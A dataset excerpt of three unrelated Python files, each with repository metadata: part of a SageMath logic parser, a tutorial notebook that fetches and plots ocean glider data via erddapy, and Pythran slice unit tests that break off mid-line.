logicparser.parse_ltor(t, polish = True)\n        ['->', 'a', ['~', ['~', 'b']]]\n\n    \"\"\"\n    i = 0\n    for tok in toks:\n        if tok == __op_list[n]:\n            if tok == '~':\n                if not polish:\n                    # cancel double negations\n                    if toks[i] == '~' and toks[i + 1] == '~':\n                        del toks[i]\n                        del toks[i]\n                        return parse_ltor(toks, n)\n                    args = [toks[i], toks[i + 1], None]\n                    toks[i] = args\n                    del toks[i + 1]\n                    return parse_ltor(toks, n)\n                # This executes when creating the full syntax parse tree\n                else:\n                    j = i\n                    while toks[j] == '~':\n                        j += 1\n                    while j > i:\n                        args = [toks[j - 1], toks[j]]\n                        toks[j - 1] = args\n                        del toks[j]\n                        j -= 1\n                    return parse_ltor(toks, n = n, polish = polish)\n            else:\n                args = [toks[i - 1], toks[i], toks[i + 1]]\n                toks[i - 1] = [args[1], args[0], args[2]]\n                del toks[i]\n                del toks[i]\n                return parse_ltor(toks, n)\n        i += 1\n    if n + 1 < len(__op_list):\n        return parse_ltor(toks, n + 1)\n    if len(toks) > 1:\n        raise SyntaxError\n    return toks[0]\n\ndef apply_func(tree, func):\n    r\"\"\"\n    Apply func to each node of tree.  Return a new parse tree.\n\n    INPUT:\n\n    - ``tree`` -- a parse tree of a boolean formula\n\n    - ``func`` -- a function to be applied to each node of tree.  This may\n      be a function that comes from elsewhere in the logic module.\n\n    OUTPUT:\n\n    The new parse tree in the form of a nested list\n\n    EXAMPLES:\n\n    This example uses :func:`apply_func` where ``func`` switches two entries of tree.\n\n    ::\n\n        sage: import sage.logic.logicparser as logicparser\n        sage: t = ['|', ['&', 'a', 'b'], ['&', 'a', 'c']]\n        sage: f = lambda t: [t[0], t[2], t[1]]\n        sage: logicparser.apply_func(t, f)\n        ['|', ['&', 'c', 'a'], ['&', 'b', 'a']]\n    \"\"\"\n    if type(tree[1]) is ListType and type(tree[2]) is ListType:\n        lval = apply_func(tree[1], func)\n        rval = apply_func(tree[2], func)\n    elif type(tree[1]) is ListType:\n        lval = apply_func(tree[1], func)\n        rval = tree[2]\n    elif type(tree[2]) is ListType:\n        lval = tree[1]\n        rval = apply_func(tree[2], func)\n    else:\n        lval = tree[1]\n        rval = tree[2]\n    return func([tree[0], lval, rval])\n\n\n", "meta": {"hexsha": "649979827afda8f04419924e223e662a036b83bf", "size": 12598, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/logic/logicparser.py", "max_stars_repo_name": "bopopescu/sage-5", "max_stars_repo_head_hexsha": "9d85b34956ca2edd55af307f99c5d3859acd30bf", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2015-01-04T07:15:06.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-04T15:15:18.000Z", "max_issues_repo_path": "src/sage/logic/logicparser.py", "max_issues_repo_name": "bopopescu/sage-5", "max_issues_repo_head_hexsha": "9d85b34956ca2edd55af307f99c5d3859acd30bf", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/logic/logicparser.py", "max_forks_repo_name": "bopopescu/sage-5", "max_forks_repo_head_hexsha": "9d85b34956ca2edd55af307f99c5d3859acd30bf", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 10, "max_forks_repo_forks_event_min_datetime": "2016-09-28T13:12:40.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-12T09:28:34.000Z", "avg_line_length": 30.2836538462, "max_line_length": 101, "alphanum_fraction": 0.5246864582, "include": true, "reason": "import sage", "num_tokens": 3308, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.12085322140796939, "lm_q1q2_score": 0.058538893570737265}}
{"text": "\n# coding: utf-8\n\n# # Accessing ERDDAP from Python\n# \n# ERDDAP rich responses and RESTful API is makes it **THE** most convenient way to serve data.\n# \n# One can build URLs manually or programmatically like:\n# \n# <small>`https://erddap-uncabled.oceanobservatories.org/uncabled/erddap/tabledap/CP05MOAS-GL336-02-FLORTM000-flort_m_glider_instrument-telemetered-deployment0005-tabledap.csv?ctdgv_m_glider_instrument_sci_water_temp,time&time>=2017-02-10T00:00:00Z`</small>\n\n# - server: `https://data.ioos.us/gliders/erddap/`\n# - protocol: `tabledap`\n# - dataset_id: `cp_336-20170817T1159`\n# - variables: `time,latitude,longitude,temperature`\n# - constraints:\n#     - `time>=2017-10-11T00:00:00Z`\n#     - `time<=2017-10-18T00:00:00Z`\n#     - `latitude>=38.0`\n#     - `latitude<=41.0`\n#     - `longitude>=-72.0`\n#     - `longitude<=-69.0`\n\n# In[1]:\n\n\nfrom erddapy import ERDDAP\n\nserver = 'https://data.ioos.us/gliders/erddap'\n\ndataset_id = 'cp_336-20170817T1159'\n\nconstraints = {\n    'time>=': '2017-10-11T00:00:00Z',\n    'time<=': '2017-10-18T08:16:57Z',\n    'latitude>=': 38.0,\n    'latitude<=': 41.0,\n    'longitude>=': -72.0,\n    'longitude<=': -69.0\n}\n\ndepth = 'depth'\nsalinity = 'salinity'\ntemperature = 'temperature'\n\nvariables = [\n  depth,\n 'latitude',\n 'longitude',\n  salinity,\n  temperature,\n 'time',\n]\n\n\n# In[2]:\n\n\ne = ERDDAP(\n    server=server,\n    dataset_id=dataset_id,\n    constraints=constraints,\n    variables=variables,\n    protocol='tabledap',\n    response='mat',\n)\n\nprint(e.get_download_url())\n\n\n# # Obtaining the data\n# \n# There are a few methods to obtain the data with *to_pandas()* and *to_xarray()*:\n\n# In[3]:\n\n\ndf = e.to_pandas(\n    index_col='time',\n    parse_dates=True,\n    skiprows=(1,)  # units information can be dropped.\n).dropna()\n\n\n# In[4]:\n\n\ndf.head()\n\n\n# # Let's plot the data\n\n# # Exploring an ERDDAP server\n\n# In[5]:\n\n\nfrom erddapy import ERDDAP\n\n\ne = ERDDAP(server='https://data.ioos.us/gliders/erddap')\n\n\n# In[6]:\n\n\nimport pandas as pd\n\n\ndf = pd.read_csv(e.get_search_url(response='csv', search_for='all'))\n\n\n# In[7]:\n\n\n'We have {} tabledap, {} griddap, and {} wms endpoints.'.format(\n    len(set(df['tabledap'].dropna())),\n    len(set(df['griddap'].dropna())),\n    len(set(df['wms'].dropna()))\n)\n\n\n# # ERDDAP Advanced Search\n# \n# Let's narrow the search area, time span, and look for *sea_water_temperature* only.\n\n# In[8]:\n\n\nbbox = [-72.0, -69.0, 38.0, 41.0]\n\nmin_time = '2018-02-01T00:00:00Z'\nmax_time = '2018-02-08T00:00:00Z'\n\nkw = {\n    'standard_name': 'sea_water_temperature',\n    'search_for': 'glider',\n    'min_lon': bbox[0],\n    'max_lon': bbox[1],\n    'min_lat': bbox[2],\n    'max_lat': bbox[3],\n    'min_time': min_time,\n    'max_time': max_time,\n    'cdm_data_type': 'trajectory'\n}\n\n\n# In[9]:\n\n\nsearch_url = e.get_search_url(response='csv', **kw)\nsearch = pd.read_csv(search_url)\ngliders = search['Dataset ID'].values\n\nmsg = 'Found {} Glider Datasets:\\n\\n{}'.format\nprint(msg(len(gliders), '\\n'.join(gliders)))\n\n\n# With the Dataset IDs we can explore the metadata with the *get_info_url*\n\n# In[10]:\n\n\nprint(gliders[0])\n\ninfo_url = e.get_info_url(dataset_id=gliders[0], response='csv')\ninfo = pd.read_csv(info_url)\n\ninfo.head()\n\n\n# In[11]:\n\n\ncdm_profile_variables = info.loc[\n    info['Attribute Name'] == 'cdm_profile_variables', 'Value'\n]\n\nprint(''.join(cdm_profile_variables))\n\n\n# # Selecting variables by attributes\n\n# In[12]:\n\n\ne.get_var_by_attr(\n    dataset_id='cp_336-20180126T0000',\n    standard_name='sea_water_temperature'\n)\n\n\n# # Easy to use CF conventions standards\n\n# In[13]:\n\n\n\nt_vars = [\n    e.get_var_by_attr(\n        dataset_id=glider, standard_name='sea_water_temperature'\n    )[0] for glider in gliders\n]\nt_vars\n\n\n# In[14]:\n\n\ns_vars = [\n    e.get_var_by_attr(\n        dataset_id=glider, standard_name='sea_water_practical_salinity'\n    )[0] for glider in gliders\n]\ns_vars\n\n\n# In[15]:\n\n\nd_vars = [\n    e.get_var_by_attr(\n        dataset_id=glider, standard_name='sea_water_pressure'\n    )[0] for glider in gliders\n]\nd_vars\n\n\n# In[16]:\n\n\n# FIX: should not really assume that variables are the same for each dataset\ndepth = d_vars[0]\nsalinity = s_vars[0]\ntemperature = t_vars[0]\n\n\n# # Putting everything together\n\n# In[17]:\n\n\nfrom requests.exceptions import HTTPError\n\nconstraints = {\n    'time>=': min_time,\n    'time<=': max_time,\n    'longitude>=': bbox[0],\n    'longitude<=': bbox[1],\n    'latitude>=': bbox[2],\n    'latitude<=': bbox[3]\n}\n\ndef download_csv(url):\n    return pd.read_csv(\n        url, index_col='time', parse_dates=True, skiprows=[1]\n    )\n\ndfs = {}\nfor glider in gliders:\n    try:\n        download_url = e.get_download_url(\n            dataset_id=glider,\n            protocol='tabledap',\n            variables=['time', 'latitude', 'longitude', depth, salinity, temperature],\n            response='csv',\n            constraints=constraints\n        )\n    except HTTPError:\n        print('Failed to download {}'.format(glider))\n        continue\n    dfs.update({glider: download_csv(download_url)})\n\n\n# In[18]:\n\n\nimport numpy as np\n\nfor glider in dfs.keys():\n    dfs[glider].loc[dfs[glider][salinity] <= .1, salinity] = np.NaN\n    dfs[glider].loc[dfs[glider][temperature] <= .1, temperature] = np.NaN\n\n\n# In[19]:\n\n\nimport folium\n\nzoom_start = 7\nlon = (bbox[0] + bbox[1]) / 2\nlat = (bbox[2] + bbox[3]) / 2\nm = folium.Map(width='100%', height='100%',\n               location=[lat, lon], zoom_start=zoom_start)\n\nurl = 'https://gis.ngdc.noaa.gov/arcgis/services/gebco08_hillshade/MapServer/WMSServer'\nw = folium.WmsTileLayer(\n    url,\n    name='GEBCO Bathymetry',\n    fmt='image/png',\n    layers='GEBCO_08 Hillshade',\n    attr='GEBCO',\n    overlay=True,\n    transparent=True)\n\nw.add_to(m)\n\ncolors = ['orange','pink','yellow']\n\nk=0\nfor glider, df in dfs.items():\n\n    line = folium.PolyLine(locations=list(zip(df['latitude'],df['longitude'])),\n                           color=colors[k],\n                           weight=8,\n                           opacity=0.6,\n                           popup=glider[:22]).add_to(m)\n    k = k+1\n\nm\n\n\n# In[20]:\n\n\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\ndef glider_scatter(df, ax, glider):\n    ax.scatter(df[temperature], df[salinity],\n               s=10, alpha=0.5, label=glider)\nfig, ax = plt.subplots(figsize=(12, 7))\nax.set_ylabel('salinity')\nax.set_xlabel('temperature')\nax.grid(True)\n\nfor glider, df in dfs.items():\n    glider_scatter(df, ax, glider)\nleg = ax.legend()\n\n\n# ## Plot one of the glider transects\n\n# In[21]:\n\n\ndf = next(iter(dfs.values()))\n\n\n# In[22]:\n\n\nimport matplotlib.dates as mdates\n\nfig, ax = plt.subplots(figsize=(17, 2))\ncs = ax.scatter(df.index, df[depth], s=15, c=df[temperature], marker='o', edgecolor='none')\n\nax.invert_yaxis()\nax.set_xlim(df.index[0], df.index[-1])\nxfmt = mdates.DateFormatter('%H:%Mh\\n%d-%b')\nax.xaxis.set_major_formatter(xfmt)\n\ncbar = fig.colorbar(cs, orientation='vertical', extend='both')\ncbar.ax.set_ylabel('Temperature ($^\\circ$C)')\nax.set_ylabel('Depth (m)');\n\n", "meta": {"hexsha": "96657c9eb23db436ab2fa070a3d16535d3cd1d3c", "size": 6975, "ext": "py", "lang": "Python", "max_stars_repo_path": "ERDDAPY_Intro_IOOS.py", "max_stars_repo_name": "reproducible-notebooks/ERDDAP_glider_search", "max_stars_repo_head_hexsha": "d5f87f9bbc004063093dd57c4bdc30a6b2c7420e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ERDDAPY_Intro_IOOS.py", "max_issues_repo_name": "reproducible-notebooks/ERDDAP_glider_search", "max_issues_repo_head_hexsha": "d5f87f9bbc004063093dd57c4bdc30a6b2c7420e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-02-14T19:21:23.000Z", "max_issues_repo_issues_event_max_datetime": "2018-02-14T19:21:23.000Z", "max_forks_repo_path": "ERDDAPY_Intro_IOOS.py", "max_forks_repo_name": "reproducible-notebooks/ERDDAP_glider_search", "max_forks_repo_head_hexsha": "d5f87f9bbc004063093dd57c4bdc30a6b2c7420e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2018-05-22T16:17:03.000Z", "max_forks_repo_forks_event_max_datetime": "2018-05-22T16:17:03.000Z", "avg_line_length": 19.0054495913, "max_line_length": 257, "alphanum_fraction": 0.6421505376, "include": true, "reason": "import numpy", "num_tokens": 2115, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42250463481418826, "lm_q2_score": 0.13846178879140303, "lm_q1q2_score": 0.058500747509031004}}
{"text": "\"\"\" Module to test slice implementation. \"\"\"\n\nimport numpy\nfrom pythran.typing import List, NDArray\n\nfrom pythran.tests import TestEnv\n\n\nclass TestSlice(TestEnv):\n\n    \"\"\"\n    Unittest class for code using slices.\n\n    We skip tests for None step as it is equivalent to 1.\n\n    TODO : add tests for 1 == step (None as step)\n    \"\"\"\n\n\n    def test_empty_slices(self):\n        code = 'def empty_slices(x): return x[100:], x[100::2]'\n        self.run_test(code, numpy.arange(90),\n                      empty_slices=[NDArray[int,:]])\n\n\n    def test_slice_combination1(self):\n        \"\"\" Check for \"all none\" combination. \"\"\"\n        code = \"\"\"\ndef slice_combination1(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::-4][begin:end:step],\n            a[::4][begin:end:step],\n            a[87::-4][begin:end:step],\n            a[1::4][begin:end:step],\n            a[-3::-4][begin:end:step],\n            a[-89::4][begin:end:step],\n            a[88:1:-4][begin:end:step],\n            a[1:88:4][begin:end:step],\n            a[-2:1:-4][begin:end:step],\n            a[-89:88:4][begin:end:step],\n            a[88:-88:-4][begin:end:step],\n            a[2:-1:4][begin:end:step],\n            a[-1:-88:-4][begin:end:step],\n            a[-88:-1:4][begin:end:step],\n            a[:1:-4][begin:end:step],\n            a[:87:4][begin:end:step],\n            a[:-87:-4][begin:end:step],\n            a[:-3:4][begin:end:step])\n        \"\"\".format(begin=None, end=None, step=None)\n        self.run_test(code, numpy.arange(90),\n                      slice_combination1=[NDArray[int,:]])\n\n    def test_slice_combination2(self):\n        \"\"\" Check for positive step combination. \"\"\"\n        code = \"\"\"\ndef slice_combination2(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::-4][begin:end:step],\n            a[::4][begin:end:step],\n            a[87::-4][begin:end:step],\n            a[1::4][begin:end:step],\n            a[-3::-4][begin:end:step],\n            a[-89::4][begin:end:step],\n            a[88:1:-4][begin:end:step],\n            a[1:88:4][begin:end:step],\n            a[-2:1:-4][begin:end:step],\n            a[-89:88:4][begin:end:step],\n            a[88:-88:-4][begin:end:step],\n            a[2:-1:4][begin:end:step],\n            a[-1:-88:-4][begin:end:step],\n            a[-88:-1:4][begin:end:step],\n            a[:1:-4][begin:end:step],\n            a[:87:4][begin:end:step],\n            a[:-87:-4][begin:end:step],\n            a[:-3:4][begin:end:step])\n        \"\"\".format(begin=None, end=None, step=2)\n        self.run_test(code, numpy.arange(90),\n                      slice_combination2=[NDArray[int, :]])\n\n    def test_slice_combination3(self):\n        \"\"\" Check for negative step combination. \"\"\"\n        code = \"\"\"\ndef slice_combination3(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step])\n# Reversing values with not continuous step is not implemented\n#            a[::-4][begin:end:step],\n#            a[::4][begin:end:step],\n#            a[87::-4][begin:end:step],\n#            a[1::4][begin:end:step],\n#            a[-3::-4][begin:end:step],\n#            a[-89::4][begin:end:step],\n#            a[88:1:-4][begin:end:step],\n#            a[1:88:4][begin:end:step],\n#            a[-2:1:-4][begin:end:step],\n#            a[-89:88:4][begin:end:step],\n#            a[88:-88:-4][begin:end:step],\n#            a[2:-1:4][begin:end:step],\n#            a[-1:-88:-4][begin:end:step],\n#            a[-88:-1:4][begin:end:step],\n#            a[:1:-4][begin:end:step],\n#            a[:87:4][begin:end:step],\n#            a[:-87:-4][begin:end:step],\n#            a[:-3:4][begin:end:step])\n        \"\"\".format(begin=None, end=None, step=-2)\n        self.run_test(code, numpy.arange(90),\n                      slice_combination3=[NDArray[int, :]])\n\n    def test_slice_combination4(self):\n        \"\"\" Check for pos step/no begin/pos end combination. \"\"\"\n        code = \"\"\"\ndef slice_combination4(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::4][begin:end:step],\n            a[87::-4][begin:end:step],\n            a[1::4][begin:end:step],\n            a[-3::-4][begin:end:step],\n            a[-89::4][begin:end:step],\n            a[88:1:-4][begin:end:step],\n            a[1:88:4][begin:end:step],\n            a[-2:1:-4][begin:end:step],\n            a[-89:88:4][begin:end:step],\n            a[88:-88:-4][begin:end:step],\n            a[2:-1:4][begin:end:step],\n            a[-1:-88:-4][begin:end:step],\n            a[-88:-1:4][begin:end:step],\n            a[:1:-4][begin:end:step],\n            a[:87:4][begin:end:step],\n            a[:-87:-4][begin:end:step],\n            a[:-3:4][begin:end:step])\n        \"\"\".format(begin=None, end=7, step=2)\n        self.run_test(code, numpy.arange(90),\n                      slice_combination4=[NDArray[int, :]])\n\n    def test_slice_combination5(self):\n        \"\"\" Check for pos step/no begin/neg end combination. \"\"\"\n        code = \"\"\"\ndef slice_combination5(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step])\n# Not implementer for negative end\n#            a[::4][begin:end:step],\n#            a[87::-4][begin:end:step],\n#            a[1::4][begin:end:step],\n#            a[-3::-4][begin:end:step],\n#            a[-89::4][begin:end:step],\n#            a[88:1:-4][begin:end:step],\n#            a[1:88:4][begin:end:step],\n#            a[-2:1:-4][begin:end:step],\n#            a[-89:88:4][begin:end:step],\n#            a[88:-88:-4][begin:end:step],\n#            a[2:-1:4][begin:end:step],\n#            a[-1:-88:-4][begin:end:step],\n#            a[-88:-1:4][begin:end:step],\n#            a[:1:-4][begin:end:step],\n#            a[:87:4][begin:end:step],\n#            a[:-87:-4][begin:end:step],\n#            a[:-3:4][begin:end:step])\n        \"\"\".format(begin=None, end=-3, step=2)\n        self.run_test(code, numpy.arange(90),\n                      slice_combination5=[NDArray[int, :]])\n\n    def test_slice_combination6(self):\n        \"\"\" Check for pos step/pos begin/no end combination. \"\"\"\n        code = \"\"\"\ndef slice_combination6(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::4][begin:end:step],\n            a[87::-4][begin:end:step],\n            a[1::4][begin:end:step],\n            a[-3::-4][begin:end:step],\n            a[-89::4][begin:end:step],\n            a[88:1:-4][begin:end:step],\n            a[1:88:4][begin:end:step],\n            a[-2:1:-4][begin:end:step],\n            a[-89:88:4][begin:end:step],\n            a[88:-88:-4][begin:end:step],\n            a[2:-1:4][begin:end:step],\n            a[-1:-88:-4][begin:end:step],\n            a[-88:-1:4][begin:end:step],\n            a[:1:-4][begin:end:step],\n            a[:87:4][begin:end:step],\n            a[:-87:-4][begin:end:step],\n            a[:-3:4][begin:end:step])\n        \"\"\".format(begin=2, end=None, step=2)\n        self.run_test(code, numpy.arange(90),\n                      slice_combination6=[NDArray[int, :]])\n\n    def test_slice_combination7(self):\n        \"\"\" Check for pos step/pos begin/pos end combination. \"\"\"\n        code = \"\"\"\ndef slice_combination7(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::4][begin:end:step],\n            a[87::-4][begin:end:step],\n            a[1::4][begin:end:step],\n            a[-3::-4][begin:end:step],\n            a[-89::4][begin:end:step],\n            a[88:1:-4][begin:end:step],\n            a[1:88:4][begin:end:step],\n            a[-2:1:-4][begin:end:step],\n            a[-89:88:4][begin:end:step],\n            a[88:-88:-4][begin:end:step],\n            a[2:-1:4][begin:end:step],\n            a[-1:-88:-4][begin:end:step],\n            a[-88:-1:4][begin:end:step],\n            a[:1:-4][begin:end:step],\n            a[:87:4][begin:end:step],\n            a[:-87:-4][begin:end:step],\n            a[:-3:4][begin:end:step])\n        \"\"\".format(begin=2, end=9, step=2)\n        self.run_test(code, numpy.arange(90),\n                      slice_combination7=[NDArray[int, :]])\n\n    def test_slice_combination8(self):\n        \"\"\" Check for pos step/neg begin/no end combination. \"\"\"\n        code = \"\"\"\ndef slice_combination8(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step])\n# Not implementer for negative begin\n#            a[::4][begin:end:step],\n#            a[87::-4][begin:end:step],\n#            a[1::4][begin:end:step],\n#            a[-3::-4][begin:end:step],\n#            a[-89::4][begin:end:step],\n#            a[88:1:-4][begin:end:step],\n#            a[1:88:4][begin:end:step],\n#            a[-2:1:-4][begin:end:step],\n#            a[-89:88:4][begin:end:step],\n#            a[88:-88:-4][begin:end:step],\n#            a[2:-1:4][begin:end:step],\n#            a[-1:-88:-4][begin:end:step],\n#            a[-88:-1:4][begin:end:step],\n#            a[:1:-4][begin:end:step],\n#            a[:87:4][begin:end:step],\n#            a[:-87:-4][begin:end:step],\n#            a[:-3:4][begin:end:step])\n        \"\"\".format(begin=-10, end=None, step=2)\n        self.run_test(code, numpy.arange(90),\n                      slice_combination8=[NDArray[int, :]])\n\n    def test_step1slice_combination1(self):\n        \"\"\" Check for \"all none\" combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination1(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::-1][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=None, end=None, step=None)\n        self.run_test(code, numpy.arange(90),\n                      step1slice_combination1=[NDArray[int, :]])\n\n    def test_step1slice_combination2(self):\n        \"\"\" Check for positive step combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination2(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::-1][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=None, end=None, step=2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination2=[NDArray[int, :]])\n\n    def test_step1slice_combination3(self):\n        \"\"\" Check for negative step combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination3(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::-1][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-2:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=None, end=None, step=-2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination3=[NDArray[int, :]])\n\n    def test_step1slice_combination4(self):\n        \"\"\" Check for pos step/no begin/pos end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination4(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return(a[::][begin:end:step],\n           a[::1][begin:end:step],\n           a[87::-1][begin:end:step],\n           a[1::1][begin:end:step],\n           a[-3::-1][begin:end:step],\n           a[-89::1][begin:end:step],\n           a[88:1:-1][begin:end:step],\n           a[1:88:1][begin:end:step],\n           a[-2:1:-1][begin:end:step],\n           a[-89:88:1][begin:end:step],\n           a[88:-88:-1][begin:end:step],\n           a[2:-1:1][begin:end:step],\n           a[-1:-88:-1][begin:end:step],\n           a[-88:-1:1][begin:end:step],\n           a[:1:-1][begin:end:step],\n           a[:87:1][begin:end:step],\n           a[:-87:-1][begin:end:step],\n           a[:-3:1][begin:end:step])\n        \"\"\".format(begin=None, end=7, step=2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination4=[NDArray[int, :]])\n\n    def test_step1slice_combination5(self):\n        \"\"\" Check for pos step/no begin/neg end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination5(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=None, end=-3, step=2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination5=[NDArray[int, :]])\n\n    def test_step1slice_combination6(self):\n        \"\"\" Check for pos step/pos begin/no end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination6(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=2, end=None, step=2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination6=[NDArray[int, :]])\n\n    def test_step1slice_combination7(self):\n        \"\"\" Check for pos step/pos begin/pos end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination7(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=2, end=9, step=2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination7=[NDArray[int, :]])\n\n    def test_step1slice_combination8(self):\n        \"\"\" Check for pos step/neg begin/no end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination8(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=-10, end=None, step=2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination8=[NDArray[int, 